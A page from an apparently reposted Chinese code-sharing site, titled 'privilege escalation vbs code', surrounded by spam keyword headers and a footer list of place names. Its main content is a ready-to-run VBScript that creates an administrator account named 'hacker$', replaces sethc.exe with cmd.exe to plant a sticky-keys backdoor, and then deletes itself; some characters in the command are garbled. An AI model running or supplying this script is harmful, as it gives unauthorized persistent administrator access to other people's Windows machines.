国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > VBScript > 正文

提權vbs代碼

2019-10-26 18:04:57
字體：大 中 小
來源：轉載
供稿：網友
復制代碼 代碼如下:

on error resume next
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments
(0):password=Wscript.Arguments(1):Else:username="hacker$":password="123456":end if:set
wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"&wsnetwork.ComputerName:Set ob=GetObject
(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword
password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo
of.ADsPath
On Error Resume Next
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%/system32/sethc.exe&echo y| cacls %SystemRoot%
/system32/sethc.exe /G %USERNAME%:F© %SystemRoot%/system32/cmd.exe %SystemRoot%/system32
/acmd.exe© %SystemRoot%/system32/sethc.exe %SystemRoot%/system32/asethc.exe&del %SystemRoot%
/system32/sethc.exe&ren %SystemRoot%/system32/acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表

圖片精選

主站蜘蛛池模板： 清涧县| 镇远县| 锡林浩特市| 钟山县| 驻马店市| 澜沧| 城市| 辽源市| 云霄县| 公主岭市| 敦化市| 拉萨市| 蓬安县| 建水县| 奉节县| 克山县| 南漳县| 灵宝市| 嘉兴市| 城固县| 卓资县| 古丈县| 东丽区| 小金县| 灵台县| 黄山市| 宜宾县| 义马市| 莆田市| 浙江省| 肃北| 望奎县| 潜山县| 航空| 宁明县| 泗洪县| 如皋市| 巴东县| 博白县| 乃东县| 仁怀市|